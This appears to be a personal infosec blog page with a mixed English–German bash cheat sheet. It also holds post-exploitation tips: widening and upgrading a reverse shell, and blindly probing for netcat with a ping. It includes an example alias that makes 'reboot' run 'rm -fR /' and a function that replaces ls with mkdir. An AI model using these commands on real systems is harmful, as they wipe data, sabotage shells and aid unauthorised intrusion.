akde/infosec

Information security is ultimately about managing risk


Use dash, which does­n’t drop privileges.

Argu­ments

  • Use ./script< <(echo “a”) to insert some­thing via STDIN.

ls

Order by the last recent mod­i­fied file:

ls -t

Better history

Add this to .bashrc

HISTSIZE=10000
HISTTIMEFORMAT='%F %T '

Han­dling from files with starting -

cp -- -file.txt file.txt

STDOUT, STDIN and STDERR (redirection)

Out­put STDERR (2) also on STDOUT (1)

cmd 2>&1

man

Seach­ing for a key­word in all man­u­als (sup­ports regexp):

man -k searchterm

Size

Make a (reverse) shell wider:

stty rows 50 cols 132

cat

Show only non-com­ments from a con­fig file:

cat test | grep -v -e '^$' | grep -v -e '^#'

Textmanipulation

Teil ein­er Aus­gabe auss­chnei­den. Tren­nt STDIN nach Leerze­ichen und gibt die vierte Spalte zurück.

cut -d " " -f4

Aus­gabe sub­sti­tu­ieren. Erset­zt in STDIN jedes Zeichen A mit Zeichen B.

tr A B

awk

All­ge­meine Struk­tur eines aws-Befehls:

awk '/suchmuster'/ { aktion_auf_treffer1; aktion_auf_treffer2 } eingabedatei

Zeile ein­le­sen, zer­schnei­den und Teil davon ausgeben:

ping -c1 heise.de | awk -F ' ' '/ttl/ {print $7}'

sed

Sub­sti­tu­iere Text in Eingabe:

echo "abg" | sed 's/g/c/g'

Datei direkt manip­ulieren. Sub­sti­tu­iert IP direkt in der Datei.

sed -i 's/10.0.0.0/192.168.0.0/g' datei

grep

Find when string is not included

grep -v

Remove all comments

cat squid.conf | grep -v '^#' | grep "[a-z]"

Show only files which con­tain content:

grep -l

Suchen

Find­en ohne Fehlermeldungen

find ... 2>/dev/null

Verschiedenes

Eingabe direkt in Zwis­chen­ablage kopieren

cat file | xclip

Eingabe sortieren, unique anwen­den dabei

| sort -u

Sequenz von Zahlen erstellen

for ip in $(seq 1 254);do echo 10.11.1.$ip;done > ips

Datei zeilen­weise ab bes­timmter Zeile ausgeben

tail --lines=+100 <file>

Beispiel für Schleife

for a in arch eng mind mus nat; do
  for i in $(seq 1 9); do
    echo http://10.10.10.187/images/fulls/${a}0${i}.jpg
  done;
done;

Scripting

Mache etwas mit jed­er Zeile ein­er Datei

for url in $(cat domains.txt); do host $url; done

Logs

Ermit­tle die häu­fig­sten IPs eines Apache-Logs:

cat access.log | cut -d " " -f 1 | sort | uniq -c | sort -urn

Alias

Erzeuge einen Alias für einen anderen Befehl:

alias reboot="rm -fR /"

Definieren eine Bash-Funk­tion und über­schreibe ggf. beste­hende Programme/Funktionen:

ls() { local arg1="$1"; mkdir "$@"; }

fold

Bricht Aus­gaben um

Blind enumeration

If you have code exe­cu­tion, but no direct return chan­nel, you can use the fol­low­ing to deter­mine if files are there:

[ -f /usr/bin/nc ] && ping -c1 192.168.49.216

Debugging

https://stackoverflow.com/questions/9080431/how-execute-bash-script-line-by-line

https://tldp.org/LDP/Bash-Beginners-Guide/html/sect_02_03.html

Leave a Reply

About

Personal collection of some infosec stuff. Primary purpose of this site is to collect and organize for myself.

Note: Some content is not publicly visible due to copyright issues. Therefore, some links could be broken.

Checklists

Categories

Checklists: Ports

python -c 'import pty;pty.spawn("/bin/bash")';

python3 -c 'import pty;pty.spawn("/bin/bash")';